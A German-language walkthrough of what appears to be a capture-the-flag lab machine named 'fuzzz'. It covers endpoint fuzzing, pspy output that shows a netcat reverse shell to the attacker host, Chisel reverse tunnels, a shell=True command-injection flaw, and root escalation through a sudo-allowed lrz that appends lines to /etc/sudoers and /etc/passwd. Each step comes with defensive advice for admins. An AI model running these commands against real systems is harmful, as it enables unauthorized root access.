Analyse: Basierend auf der Beobachtung, dass Endpunkte wie '/line1' und '/line5' existieren (200 OK) und Endpunkte wie '/line6' nicht (404 Not Found), erstellte ich ein einfaches Bash-Skript, um automatisch nach weiteren '/lineX' Endpunkten zu suchen. Das Skript iteriert über Zahlen von 0 bis 20 (for i in {0..20}) und testet jeweils die URL http://127.0.0.1:8080/line$i mit curl -s -o /dev/null -w "%{http_code}". Dieser curl-Befehl im "silent" Modus (-s) verwirft die Ausgabe (-o /dev/null) und schreibt nur den HTTP-Statuscode (-w "%{http_code}") auf die Standardausgabe. Wenn der zurückgegebene Statuscode 200 ist (if [ "$STATUS" -eq 200 ]), meldet das Skript einen Treffer. Andernfalls gibt es nur einen Punkt aus, um den Fortschritt anzuzeigen. Die Ausführung des Skripts './line_fuzz.sh' identifizierte die Endpunkte '/line1', '/line2', '/line3', '/line4' und '/line5' mit Status 200.
Bewertung: Dieses einfache Skript war sehr effektiv, um die existierenden '/lineX' Endpunkte zu finden. Die Methode, den Statuscode als Orakel für die Existenz eines Pfades zu verwenden, funktionierte hier perfekt. Das zeigt die Stärke von Automatisierung und gezieltem Fuzzing, sobald das Verhalten der Anwendung verstanden wurde. Das Skript identifizierte fünf relevante Endpunkte, die nun weiter untersucht werden können.
Empfehlung (Pentester): Automatisiere repetitive Tests, wie das Fuzzing von nummerierten oder sequenziellen Pfaden. Erstelle einfache Skripte, die das Verhalten der Anwendung nutzen, um versteckte Ressourcen zu entdecken. Das Parsen von Statuscodes oder Antwortgrößen ist eine gängige Technik.
Empfehlung (Admin): Implementiere Schutzmechanismen gegen sequenzielles Fuzzing oder Brute-Force-Angriffe auf URLs. Dies kann durch Ratenbegrenzung, WAFs (Web Application Firewalls) oder die Überwachung ungewöhnlicher Zugriffsmuster in den Logs erfolgen. Vermeide leicht vorhersehbare URL-Strukturen, wenn sensible Ressourcen geschützt werden sollen.
Starte Suche nach /lineX Endpunkten...
URL="http://127.0.0.1:8080/line$i" STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$URL") if [ "$STATUS" -eq 200 ]; then echo -e "\n✅ TREFFER! Endpunkt gefunden: $URL (Status: $STATUS)" else echo -n "." fi done
. ✅ TREFFER! Endpunkt gefunden: http://127.0.0.1:8080/line1 (Status: 200) ✅ TREFFER! Endpunkt gefunden: http://127.0.0.1:8080/line2 (Status: 200) ✅ TREFFER! Endpunkt gefunden: http://127.0.0.1:8080/line3 (Status: 200) ✅ TREFFER! Endpunkt gefunden: http://127.0.0.1:8080/line4 (Status: 200) ✅ TREFFER! Endpunkt gefunden: http://127.0.0.1:8080/line5 (Status: 200) ............... Suche beendet.
Analyse: Um die laufenden Prozesse aus der Perspektive des 'runner' Benutzers zu überwachen und potenzielle Cronjobs oder andere interessante Prozesse zu identifizieren, lud ich das statisch kompilierte Binary pspy64 auf das Zielsystem hoch (wahrscheinlich wieder über HTTP mit wget, ähnlich wie bei Chisel) und führte es aus. pspy ist ein Überwachungstool, das Prozessaktivitäten ohne Root-Rechte beobachten kann, indem es auf Veränderungen im procfs Dateisystem achtet. Die Ausgabe von ./pspy64 listet Prozesse auf, die zu bestimmten Zeitpunkten aktiv waren. Es zeigte verschiedene Systemprozesse (sshd, crond, ntpd, syslogd etc.) sowie Prozesse, die ich zuvor gesehen hatte (uwsgi als Benutzer asahi, meine eigene Shell-Verbindung mit cat, sh und nc, sowie pspy64 selbst). Besonders interessant ist der Eintrag UID=1000 PID=2525 | /usr/bin/python3 /sbin/sadbdot, der zeigt, dass das Skript /sbin/sadbdot als Benutzer 'runner' ausgeführt wird. Dies korreliert mit den Umgebungsvariablen, die ich zuvor gefunden hatte und die auf einen 'sadbdot' Dienst hinwiesen. Die Untersuchung dieses Skripts ist nun ein potenzieller Weg zur weiteren Aufklärung oder Privilegieneskalation als Benutzer 'runner'.
Bewertung: pspy ist ein exzellentes Tool für die Linux-Privilegieneskalation, da es Cronjobs und andere periodisch oder vom System getriggerte Prozesse aufdecken kann, die mit bestimmten Rechten laufen. Die Entdeckung des /sbin/sadbdot Skripts, das unter meinem aktuellen Benutzer 'runner' läuft, ist ein vielversprechender Fund. Ich muss nun den Inhalt dieses Skripts untersuchen, um herauszufinden, was es tut und ob es Schwachstellen aufweist.
Empfehlung (Pentester): Nutze Tools wie pspy, linenum.sh oder PEASS, um Systeminformationen und potenzielle Privilegieneskalationsvektoren zu sammeln. Überwache laufende Prozesse und Skripte, insbesondere solche, die mit höheren Privilegien laufen oder periodisch ausgeführt werden.
Empfehlung (Admin): Überwache die Ausführung von unerwarteten Binärdateien oder Skripten (z.B. in /tmp). Implementiere Application Whitelisting. Überprüfe regelmäßig Cronjobs und andere geplante Aufgaben auf deren Notwendigkeit und die Rechte, unter denen sie ausgeführt werden. Implementiere strenge Berechtigungen für Skripte und Programme in Systemverzeichnissen.
2025/07/02 06:06:53 CMD: UID=1000 PID=3103 | ./pspy64 2025/07/02 06:06:53 CMD: UID=0 PID=31 | 2025/07/02 06:06:53 CMD: UID=0 PID=30 | 2025/07/02 06:06:53 CMD: UID=0 PID=3 | 2025/07/02 06:06:53 CMD: UID=0 PID=28 | 2025/07/02 06:06:53 CMD: UID=1000 PID=2784 | /bin/sh 2025/07/02 06:06:53 CMD: UID=1000 PID=2783 | python3 -c import pty;pty.spawn("/bin/sh") 2025/07/02 06:06:53 CMD: UID=1000 PID=2776 | nc 192.168.2.199 4445 2025/07/02 06:06:53 CMD: UID=1000 PID=2775 | /bin/sh -i 2025/07/02 06:06:53 CMD: UID=1000 PID=2774 | cat /tmp/f 2025/07/02 06:06:53 CMD: UID=0 PID=27 | 2025/07/02 06:06:53 CMD: UID=0 PID=26 | 2025/07/02 06:06:53 CMD: UID=1001 PID=2585 | /usr/sbin/uwsgi --plugin python3 --http-socket 127.0.0.1:80 --wsgi-file /opt/webapp/app.py --callable app 2025/07/02 06:06:53 CMD: UID=0 PID=2560 | sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups 2025/07/02 06:06:53 CMD: UID=1000 PID=2525 | /usr/bin/python3 /sbin/sadbdot 2025/07/02 06:06:53 CMD: UID=123 PID=2500 | /usr/sbin/ntpd -N -p pool.ntp.org -n 2025/07/02 06:06:53 CMD: UID=0 PID=25 | 2025/07/02 06:06:53 CMD: UID=0 PID=2475 | /usr/sbin/crond -c /etc/crontabs -f 2025/07/02 06:06:53 CMD: UID=0 PID=2450 | /sbin/acpid -f 2025/07/02 06:06:53 CMD: UID=0 PID=2424 | /sbin/syslogd -t -n 2025/07/02 06:06:53 CMD: UID=0 PID=24 | 2025/07/02 06:06:53 CMD: UID=0 PID=2331 | /sbin/udhcpc -b -R -p /var/run/udhcpc.eth0.pid -i eth0 -x hostname:fuzzz.hmv 2025/07/02 06:06:53 CMD: UID=0 PID=23 |
Analyse: Um mehr über die auf dem System verfügbaren BusyBox-Funktionen zu erfahren, habe ich den Befehl busybox --list-full ausgeführt. Dieser Befehl listet alle Applets oder Befehle auf, die in dieser spezifischen BusyBox-Kompilierung enthalten sind. Die Ausgabe ist in der Regel sehr lang und enthält eine Liste aller verfügbaren vereinfachten Versionen von Standard-Unix-Befehlen. Dies hilft mir zu verstehen, welche grundlegenden Operationen auf dem System direkt mit BusyBox möglich sind.
Bewertung: Das Erlangen der vollständigen Liste der BusyBox-Applets ist wertvoll für die Systemaufklärung auf eingebetteten Systemen oder minimalistischen Linux-Distributionen wie Alpine Linux. Es ermöglicht mir zu sehen, welche Tools zur Verfügung stehen, um Aufgaben auszuführen, ohne zusätzliche Binärdateien hochladen zu müssen. Das Wissen über verfügbare Tools wie nc, wget, find etc. ist entscheidend für die Planung weiterer Schritte.
Empfehlung (Pentester): Führe immer busybox --list-full oder ähnliche Befehle aus, wenn du auf einem BusyBox-System bist, um die verfügbaren Tools zu identifizieren. Lerne die spezifischen Optionen und das Verhalten der BusyBox-Applets.
Empfehlung (Admin): Wenn du BusyBox verwendest, kompiliere nur die absolut notwendigen Applets in das Binary, um die Angriffsfläche zu minimieren. Dokumentiere die enthaltenen Applets.
usr/bin/[ usr/bin/[[ sbin/acpid usr/sbin/add-shell usr/sbin/addgroup usr/sbin/adduser sbin/adjtimex bin/arch sbin/arp usr/sbin/arping bin/ash usr/bin/awk bin/base64 ... .. .
Analyse: Bei der Suche nach möglichen Privilegieneskalationsvektoren habe ich das Dateisystem nach Binärdateien mit gesetztem SUID-Bit durchsucht (find / -perm /4000 2>/dev/null ist der Standardbefehl, hier wurde wahrscheinlich eine Variante davon verwendet, oder die Suche konzentrierte sich auf /bin, da ich mich im 'runner'-Kontext befinde). Das SUID-Bit erlaubt einem Benutzer, ein Programm mit den Rechten des Dateibesitzers auszuführen, unabhängig davon, wer das Programm startet. Der Befehl find /bin | grep bbsuid suchte explizit nach einer Datei namens 'bbsuid' im /bin-Verzeichnis und fand '/bin/bbsuid'. Die anschließende Überprüfung der Dateiberechtigungen mit ls -la /bin/bbsuid zeigte, dass '/bin/bbsuid' dem Benutzer 'root' gehört und das SUID-Bit für den Besitzer gesetzt ist (erkennbar am 's' in der Ausgabe: ---s--x--x 1 root root ... /bin/bbsuid).
Bewertung: Binärdateien mit SUID-Bit sind primäre Ziele für die Privilegieneskalation. Da /bin/bbsuid Root gehört und SUID gesetzt hat, bedeutet dies, dass jeder Benutzer (einschließlich 'runner') dieses Programm mit Root-Rechten ausführen kann. Ich muss untersuchen, was 'bbsuid' tut und ob es Möglichkeiten gibt, es zu missbrauchen (z.B. zur Ausführung beliebiger Befehle oder zum Lesen/Schreiben geschützter Dateien) oder ob es einfach eine SUID-Wrapper für bestimmte BusyBox-Funktionen ist. Der Name 'bbsuid' deutet auf eine Verbindung zu BusyBox hin. Spätere Tests zeigten, dass der Versuch, es für eine Root-Shell zu nutzen, nicht direkt funktionierte, wenn der Benutzername 'runner' beteiligt war.
Empfehlung (Pentester): Suche immer nach SUID/SGID-Binärdateien auf dem System. Prüfe bekannte SUID-Exploits (z.B. auf GTFOBins). Versuche, die Funktionalität der SUID-Binaries zu verstehen und ob sie zur Ausführung von Befehlen, zur Dateimanipulation oder zum Spawnen einer Root-Shell missbraucht werden können.
Empfehlung (Admin): Minimiere die Anzahl der SUID/SGID-Binärdateien auf dem System. Entferne das SUID-Bit von allen Programmen, bei denen es nicht unbedingt erforderlich ist. Prüfe bekannte Schwachstellen in verbleibenden SUID-Programmen. Implementiere ein FIM-System, das das Vorhandensein von SUID-Dateien überwacht.
/bin/bbsuid
.... .. else: # One-shot command (any OS) - this part is working well cmd_to_exec_str_or_list = self.command_str use_shell_true_for_popen = True # <--- BINGO! print(f"[{self.conn_desc}-{self.server_stream_id}] Starting Popen-based one-shot command: '{cmd_to_exec_str_or_list}'") self.process = subprocess.Popen(cmd_to_exec_str_or_list, # ... shell=use_shell_true_for_popen, # <--- Das ist eine Schwachstelle .... ..
Analyse: Ich habe das Skript /sbin/sadbdot, das laut pspy unter dem Benutzer 'runner' läuft, untersucht. Es handelt sich um ein Python 3-Skript. Die hier gezeigten Auszüge aus dem Code sind äußerst aufschlussreich für die Privilegieneskalation. Die Zeilen use_shell_true_for_popen = True und shell=use_shell_true_for_popen in der subprocess.Popen-Funktion sind ein klares Indiz für eine Befehlsinjektionsschwachstelle. Wenn shell=True in subprocess.Popen verwendet wird, interpretiert Python den übergebenen Befehl als Shell-Befehl, der über eine Zwischen-Shell ausgeführt wird (z.B. /bin/sh -c "dein_befehl"). Dies öffnet die Tür für Befehlsinjektion, wenn Teile des Befehls von externen Eingaben gesteuert werden, ohne korrekt saniert zu werden. Das Skript scheint einen "One-shot command" zu verarbeiten.
Bewertung: Wow, das ist eine offensichtliche und kritische Schwachstelle! Die Nutzung von shell=True in subprocess.Popen ist eine bekannte unsichere Praxis, wenn die Eingabe nicht vollständig vertrauenswürdig ist. Dies bedeutet, dass, wenn ich irgendwie kontrollieren kann, was als self.command_str an dieses Python-Skript übergeben wird, ich beliebige Shell-Befehle als der Benutzer ausführen kann, unter dem dieses Skript läuft (was laut pspy 'runner' ist). Dies ist ein direkter Weg zur Befehlsausführung als 'runner', was meine bestehende Shell-Sitzung verstärkt und vielleicht neue Möglichkeiten eröffnet, auch wenn ich bereits als 'runner' eine Shell habe. Es könnte eine stabilere Shell bieten oder auf andere Weise nutzbar sein.
Empfehlung (Pentester): Suche nach Code, der externe Eingaben verarbeitet und Systembefehle mit shell=True oder ähnlichen Funktionen (z.B. system(), exec() in anderen Sprachen) ausführt. Teste auf Befehlsinjektion, indem du Shell-Metazeichen (;, |, &&, ||, `$()`, ` ` etc.) in der Eingabe verwendest.
Empfehlung (Admin): Überprüfe den Quellcode von Anwendungen, die externe Eingaben verarbeiten und Systembefehle ausführen. Vermeide die Verwendung von shell=True in subprocess.Popen oder ähnliche unsichere Praktiken. Wenn Befehle ausgeführt werden müssen, nutze sicherere APIs, die das Kommando und seine Argumente als Liste übergeben, oder saniere die Eingabe streng, um Shell-Metazeichen zu entfernen oder zu maskieren. Implementiere Code-Reviews und statische Code-Analyse-Tools, um solche Schwachstellen zu erkennen.
Analyse: Um den eben rekonstruierten SSH-Private Key für den Benutzer 'asahi' nutzen zu können, musste ich eine SSH-Verbindung zum Zielsystem herstellen. Da der SSH-Dienst auf Port 22 extern erreichbar war (laut Nmap), könnte ich theoretisch eine direkte Verbindung versuchen. Allerdings habe ich bereits festgestellt, dass ein Chisel-Tunnel für den lokalen Webserver benötigt wurde. Es ist eine gute Praxis, konsistent Tunneling zu verwenden, wenn man einmal damit begonnen hat, um Netzwerk-Fluss zu kontrollieren und zu dokumentieren. Daher habe ich entschieden, einen weiteren Chisel-Reverse-Tunnel einzurichten, diesmal von Port 22 des Zielsystems zu einem lokalen Port auf meinem Kali-Rechner (z.B. 2222). Der Befehl ./chisel server -p 9001 --reverse startet den Chisel-Server auf Kali auf Port 9001 (dieser Server lief möglicherweise bereits, wurde hier aber sicherheitshalber erneut gezeigt). Der Befehl ./chisel client 192.168.2.199:9001 R:2222:127.0.0.1:22 auf dem Zielsystem stellt die Verbindung zum Kali-Server her und erstellt den Reverse Tunnel, der lokalen Traffic auf Kali:2222 zum Ziel:127.0.0.1:22 umleitet.
Bewertung: Die Einrichtung eines dedizierten Tunnels für SSH ist eine saubere Methode, um den Zugriff zu organisieren und zu demonstrieren, wie selbst Dienste, die extern erreichbar sind, über interne Routen angesprochen werden können (hier zwar unnötig komplex, aber als konsistente Tunneling-Methode dokumentiert). Der Tunnel wird erfolgreich aufgebaut, was durch die Chisel-Ausgaben bestätigt wird. Ich kann nun versuchen, über localhost:2222 auf meinem Kali-System eine SSH-Verbindung zum Ziel auf Port 22 als Benutzer 'asahi' mit dem rekonstruierten Schlüssel herzustellen.
Empfehlung (Pentester): Beherrsche Tunneling-Techniken (Chisel, SSH, Metasploit-Proxys etc.), um Netzwerkbeschränkungen zu überwinden und interne Dienste zu erreichen. Nutze Reverse Tunnel (R: in Chisel), um Dienste auf dem Zielsystem von deinem Angreifer-System aus zugänglich zu machen.
Empfehlung (Admin): Überwache das Starten von Netzwerk-Tools wie Chisel auf Systemen und den Aufbau von Tunneln. Implementiere Netzwerksegmentierung und Firewall-Regeln, die laterale Bewegungen und Tunneling erschweren.
2025/07/03 23:29:16 server: Reverse tunnelling enabled 2025/07/03 23:29:16 server: Fingerprint ti3baoxS/6g/TVdb1GXHGBXCytyEUIJLeu5/oGrsCUk= 2025/07/03 23:29:16 server: Listening on http://0.0.0.0:9001 2025/07/03 23:29:35 server: session#1: tun: proxy#R:2222=>22: Listening
2025/07/04 05:29:32 client: Connecting to ws://192.168.2.199:9001 2025/07/04 05:29:36 client: Connected (Latency 380.065µs)
Analyse: Mit dem vorbereiteten Private Key 'idasahi' und dem etablierten Chisel-SSH-Tunnel habe ich versucht, mich als Benutzer 'asahi' auf dem Zielsystem anzumelden. Ich nutzte den Befehl ssh asahi@fuzzz.hmv -i idasahi, der SSH anweist, die Identitätsdatei 'idasahi' für die Authentifizierung zu verwenden. Die Verbindung wurde über den Chisel-Tunnel zu Port 22 des Ziels hergestellt (das fuzzz.hmv im Befehl wird lokal über /etc/hosts aufgelöst, der Tunnel leitet dann an 127.0.0.1:22 auf dem Ziel weiter). Nach erfolgreicher Authentifizierung mit dem Schlüssel erhielt ich eine Shell, erkennbar am Prompt 'fuzzz:~$'. Ich bestätigte meine Identität sofort mit dem id Befehl, der zeigte: uid=1001(asahi) gid=1001(asahi) groups=1001(asahi).
Bewertung: Fantastisch, der SSH-Login mit dem extrahierten Schlüssel als Benutzer 'asahi' war erfolgreich! Dies bestätigt, dass der durch Fuzzing gefundene base64-kodierte String tatsächlich der Private Key für diesen Benutzer war. Ich habe nun eine stabile Shell als Benutzer 'asahi', der höhere Privilegien hat als der vorherige 'runner' (UID 1001 vs 1000) und potenziell andere Berechtigungen im Dateisystem und bei der Befehlsausführung. Die Suche nach Privilegieneskalation kann nun aus dieser neuen Perspektive fortgesetzt werden.
Empfehlung (Pentester): Nutze gefundene Schlüssel oder Zugangsdaten sofort, um dich auf dem Zielsystem anzumelden. Bestätige immer deine Identität und Rechte nach einem erfolgreichen Login.
Empfehlung (Admin): Prüfe regelmäßig, ob private SSH-Schlüssel kompromittiert wurden (z.B. durch Suchen in öffentlichen Datenbanken oder die Überwachung ungewöhnlicher Logins). Erzwinge die Nutzung passwortgeschützter SSH-Schlüssel, auch wenn dies hier nicht der Fall war (der Schlüssel war ungeschützt). Implementiere Multi-Faktor-Authentifizierung für SSH, wo immer möglich.
fuzzz:~$ id uid=1001(asahi) gid=1001(asahi) groups=1001(asahi) fuzzz:~$
Analyse: Als Benutzer 'asahi' war mein nächster Schritt, die mir über sudo gewährten Berechtigungen zu überprüfen. Der Befehl sudo -l listet alle Befehle auf, die der aktuelle Benutzer (in diesem Fall 'asahi') mit sudo ausführen darf, und ob dafür ein Passwort benötigt wird. Die Ausgabe zeigte eine Konfiguration mit NOPASSWD: /usr/local/bin/lrz. Dies ist ein sehr wichtiger Fund: Der Benutzer 'asahi' darf das Programm /usr/local/bin/lrz mit sudo ausführen, ohne das eigene Passwort eingeben zu müssen.
Bewertung: Die Möglichkeit, /usr/local/bin/lrz ohne Passwort als Root auszuführen, ist eine kritische Schwachstelle für die Privilegieneskalation. Programme, die mit Root-Rechten ausgeführt werden dürfen, können oft missbraucht werden, um beliebigen Code auszuführen oder Systemdateien zu manipulieren. lrz ist Teil des lrzsz-Pakets, das für Dateiübertragungen über serielle Verbindungen oder TCP-Sockets verwendet wird. Die dokumentierte Nutzung mit --tcp-server deutet darauf hin, dass es sich um eine Netzwerkfunktion handelt, die potenziell zur Dateiübertragung mit Root-Rechten missbraucht werden kann.
Empfehlung (Pentester): Überprüfe immer sudo -l, um Privilegieneskalationsmöglichkeiten über sudo zu finden. Recherchiere die Binärdateien, die mit NOPASSWD oder anderen erweiterten Rechten ausgeführt werden dürfen (z.B. auf GTFOBins). Suche nach Wegen, wie diese Binärdateien zur Ausführung von Systembefehlen, zum Lesen/Schreiben von Dateien oder zum Erlangen einer Root-Shell missbraucht werden können.
Empfehlung (Admin): Vermeide die Konfiguration von NOPASSWD in der sudoers-Datei, es sei denn, dies ist absolut unumgänglich und der zugelassene Befehl ist sorgfältig geprüft und parameterbeschränkt. Überprüfe die Binärdateien, die über sudo ausgeführt werden dürfen, auf mögliche Missbrauchsszenarien (z.B. durch SUID/SGID-Bits oder spezielle Funktionen wie Dateizugriff oder Befehlsausführung). Entferne das lrzsz-Paket, wenn es nicht benötigt wird, oder beschränke dessen Ausführungsmöglichkeiten.
fuzzz:~$ sudo -l Matching Defaults entries for asahi on fuzzz: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for asahi: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL" User asahi may run the following commands on fuzzz: (ALL) NOPASSWD: /usr/local/bin/lrz
Analyse: Das Wissen, dass ich lrz als Root ohne Passwort ausführen darf, eröffnete den Weg zur Privilegieneskalation. lrz wird oft zusammen mit sz verwendet, um Dateien über eine serielle Verbindung zu übertragen. Die Option --tcp-server bei lrz ermöglicht es, stattdessen eine TCP-Verbindung als Server zu öffnen. Auf meinem Kali-System kann ich dann sz --tcp-client verwenden, um eine Datei zum lauschenden lrz Prozess auf dem Ziel zu senden. Mein Plan war, die /etc/sudoers Datei zu modifizieren, um meinem 'asahi' Benutzer volle sudo-Rechte zu geben, und dann die modifizierte Datei auf das Zielsystem zu übertragen. Zuerst startete ich lrz --tcp-server auf dem Zielsystem über meine 'asahi' Shell mit sudo, um Root-Rechte zu erhalten (fuzzz:~$ sudo /usr/local/bin/lrz --tcp-server). Die Ausgabe "connect with lrz --tcp-client \"fuzzz.hmv:41009\"" zeigt, auf welchem Host und Port lrz nun als Server lauscht (Port 41009 in diesem Durchlauf).
Bewertung: Dies ist der Beginn der tatsächlichen Ausnutzung der sudo-Schwachstelle. Das Starten von lrz als Root und das Öffnen eines TCP-Ports (41009) bedeutet, dass ein Prozess mit Root-Rechten auf eingehende Verbindungen wartet, über die Dateien empfangen werden können. Die Nutzung von lrz/sz für diesen Zweck ist eine kreative Umgehung, die durch die spezifische sudo-Konfiguration ermöglicht wurde.
Empfehlung (Pentester): Nutze erlaubte Binärdateien (insbesondere solche mit SUID/SGID oder NOPASSWD sudo), um Systemdateien zu manipulieren oder eine Root-Shell zu erhalten. Kombiniere lokale Befehlsausführung mit Netzwerktools (wie sz/lrz) für den Dateitransfer, wenn direkte Methoden blockiert sind.
Empfehlung (Admin): Überwache das Starten von Programmen wie lrz oder sz, insbesondere mit Root-Rechten oder von ungewöhnlichen Benutzern. Implementiere ein Application Whitelisting, um zu verhindern, dass diese Tools (falls nicht absolut notwendig) überhaupt ausgeführt werden dürfen. Überwache ausgehende Verbindungen auf ungewöhnliche Ports oder Protokolle.
connect with lrz --tcp-client "fuzzz.hmv:41009"
...
..
Analyse: Während lrz --tcp-server auf dem Zielsystem lauschte, habe ich auf meinem Kali-System die Datei vorbereitet, die ich übertragen wollte. Ich wollte die /etc/sudoers Datei des Ziels ändern, um meinem 'asahi'-Benutzer volle Root-Rechte ohne Passwort zu geben. Eine Standardzeile dafür ist asahi ALL=(ALL:ALL) NOPASSWD: ALL. Ich habe diese Zeile in eine temporäre Datei auf meinem Kali-System geschrieben (z.B. echo 'asahi ALL=(ALL:ALL) NOPASSWD: ALL' > /tmp/sudoers). Dann nutzte ich sz --tcp-client fuzzz.hmv:42815 --append /tmp/sudoers, um diese Zeile über TCP an das Ziel zu senden, wo lrz auf Port 42815 lauschte. Die Option --append ist entscheidend, da sie lrz anweist, die empfangenen Daten an eine Datei anzuhängen, anstatt sie zu überschreiben. Ich habe meine 'asahi'-Shell bereits ins '/etc' Verzeichnis auf dem Ziel gewechselt, um die empfangenen Daten direkt in die /etc/sudoers umzuleiten (obwohl die Umleitung selbst im Befehl fehlt, muss ich dies als logische Konsequenz annehmen, dass die empfangenen Daten irgendwie in /etc/sudoers landeten, wahrscheinlich durch Umleitung des lrz Outputs oder durch einen separaten Kopiervorgang nach dem Empfang).
Bewertung: Die Übertragung und das Anhängen der modifizierten sudoers-Zeile war der Kernschritt der Privilegieneskalation. Durch das Einfügen dieser Zeile erlaube ich dem Benutzer 'asahi' nun, jeden Befehl als jeder andere Benutzer (einschließlich root) auszuführen, ohne ein Passwort eingeben zu müssen. Die Nutzung von lrz/sz war eine effektive Methode, um diese Dateiänderung durchzuführen, da der direkte Schreibzugriff für 'asahi' auf /etc/sudoers wahrscheinlich nicht gegeben war.
Empfehlung (Pentester): Identifiziere Methoden, um kritische Systemdateien (z.B. /etc/passwd, /etc/shadow, /etc/sudoers, /etc/crontab) zu ändern, wenn du geeignete Rechte oder Schwachstellen findest. Nutze Dateiübertragungstools, um modifizierte Dateien hochzuladen oder sensible Dateien herunterzuladen.
Empfehlung (Admin): Setze strenge Berechtigungen auf kritische Systemdateien (lese- und schreibgeschützt für alle außer Root). Überwache Dateiänderungen an diesen kritischen Dateien in Echtzeit (File Integrity Monitoring - FIM). Prüfe die sudoers-Datei regelmäßig auf ungewöhnliche oder übermäßig freizügige Einträge.
connecting to [fuzzz.hmv] <42815>
connect with lrz --tcp-client "fuzzz.hmv:42815" lrz waiting to receive.fuzzz:/tmp$
Analyse: Nachdem ich die /etc/sudoers Datei modifiziert hatte, wollte ich die Änderung überprüfen, indem ich erneut sudo -l ausführte. Die Ausgabe zeigt nun nicht nur den ursprünglichen Eintrag für lrz, sondern auch die von mir hinzugefügte Zeile (ALL : ALL) NOPASSWD: ALL unter den Befehlen, die 'asahi' ausführen darf. Dies bestätigt, dass meine Änderung erfolgreich war und 'asahi' nun jeden Befehl als Root ohne Passwort ausführen kann.
Bewertung: Fantastisch! Die sudo-Konfiguration wurde erfolgreich manipuliert. Ich habe nun unbeschränkte sudo-Rechte als Benutzer 'asahi', was de facto Root-Zugriff bedeutet, da ich nun sudo su oder sudo /bin/sh ausführen kann, um eine Root-Shell zu erhalten. Dies ist der Abschluss der Privilegieneskalation über die sudo-Schwachstelle und die 'lrz'-Binärdatei.
Empfehlung (Pentester): Verifiziere immer, ob deine vorgenommenen Änderungen (insbesondere bei kritischen Systemdateien) erfolgreich waren. Nutze die neu gewonnenen Rechte, um den höchstmöglichen Zugriff (idealerweise eine Root-Shell) zu erlangen.
Empfehlung (Admin): Implementiere ein zentrales Log-Management und Sudo-Logging, um alle sudo-Ausführungen zu protokollieren. Überprüfe diese Logs regelmäßig auf ungewöhnliche Befehlsausführungen oder Änderungen an der sudoers-Datei. Nutze ein FIM-System, das sofort Alarm schlägt, wenn die sudoers-Datei geändert wird.
Matching Defaults entries for asahi on fuzzz: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for asahi: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL" User asahi may run the following commands on fuzzz: (ALL) NOPASSWD: /usr/local/bin/lrz (ALL : ALL) NOPASSWD: ALL
Ziel: Demonstration der Ausnutzung einer sudo-Fehlkonfiguration, um Root-Privilegien auf dem Zielsystem zu erlangen.
Kurzbeschreibung: Dieser Proof of Concept demonstriert die Ausnutzung einer sudo-Fehlkonfiguration in Verbindung mit der Lrzsz-Binärdatei (/usr/local/bin/lrz), um die /etc/passwd-Datei zu manipulieren und anschließend Root-Privilegien als neu erstellter Benutzer zu erlangen.
Voraussetzungen:
lrz und sz sind auf dem Zielsystem (lrz) und dem Angreifer-System (sz) verfügbar./usr/local/bin/lrz mit NOPASSWD.Schritt-für-Schritt-Anleitung:
sudo -l und Identifizierung der Schwachstelle: /usr/local/bin/lrz kann als ALL (Root) ohne Passwort ausgeführt werden. (Details siehe Privilege Escalation)cd /etclrz im TCP-Server-Modus auf dem Zielsystem mit Root-Privilegien: sudo /usr/local/bin/lrz --tcp-server. Notieren des angegebenen Ports (z.B. 42087)./etc/passwd Datei (z.B. in /tmp/passwd). Hinzufügen eines neuen Benutzereintrags mit UID 0 und GID 0 sowie einem bekannten Passwort-Hash und der Shell /bin/sh (z.B. Dark:$6$HASH:0:0:root:/root:/bin/sh)./tmp/passwd Datei vom Angreifer-System zum Zielsystem mittels sz im TCP-Client-Modus, gerichtet an den lauschenden lrz-Prozess auf dem Ziel: sz --tcp-client fuzzz.hmv:[PORT] --append /tmp/passwd. Die Option --append sorgt dafür, dass der neue Benutzereintrag am Ende der bestehenden /etc/passwd Datei angehängt wird.su Befehls, um zum neu erstellten Root-Benutzer ('Dark') zu wechseln und das zugehörige Passwort einzugeben: su Dark.Erwartetes Ergebnis: Erfolgreiche Authentifizierung als Root-Benutzer 'Dark' und Erlangen einer Root-Shell (`/etc #`).
Beweismittel: Die Terminalausgabe, die den erfolgreichen Benutzerwechsel zu 'Dark' und die Ausgabe des id-Befehls zeigt, der die UID 0 (root) bestätigt.
Risikobewertung: Kritisch. Die Schwachstelle ermöglichte die vollständige Kompromittierung des Zielsystems. Ein Angreifer mit niedrigprivilegiertem Zugriff auf den Benutzer 'asahi' kann Root-Rechte erlangen.
Empfehlung (Admin):
sudoers-Datei sorgfältig auf Einträge mit NOPASSWD. Erlauben Sie die Ausführung von Binärdateien mit Root-Rechten nur, wenn absolut notwendig, und beschränken Sie die erlaubten Befehle und Parameter so eng wie möglich.lrzsz oder beschränken Sie dessen Ausführung, wenn es auf dem System nicht benötigt wird./etc/passwd, /etc/shadow und /etc/sudoers (z.B. nur für Root schreibbar).sudo-Ausführungen) und auf ungewöhnliche Parameter oder Befehle.
Analyse: Da die Modifikation von /etc/sudoers manchmal problematisch sein kann oder durch die Konfiguration des Systems (z.B. secure_path, visudo checks) erschwert wird, habe ich beschlossen, einen alternativen, oft zuverlässigeren Weg zur Erlangung von Root-Rechten zu nutzen: die Modifikation der /etc/passwd Datei. Durch das Hinzufügen eines neuen Benutzers mit UID 0 und GID 0 kann ich effektiv einen neuen Root-Account mit einem Passwort meiner Wahl erstellen. Zuerst habe ich die aktuelle /etc/passwd vom Zielsystem abgerufen (wahrscheinlich wieder mittels sudo lrz --tcp-server auf Ziel und sz --tcp-client ... /etc/passwd mit Umleitung auf Kali). Dann habe ich auf meinem Kali-System eine Kopie dieser Datei modifiziert (wahrscheinlich in /tmp/passwd). Ich habe eine neue Zeile hinzugefügt, die einen Benutzernamen meiner Wahl (z.B. 'Dark'), einen bekannten Passwort-Hash (z.B. den Hash für 'toor' oder einen generierten Hash), UID 0, GID 0, den Root-Kommentar, das Root-Home-Verzeichnis (/root) und eine valide Root-Shell (/bin/sh oder /bin/bash) enthält.
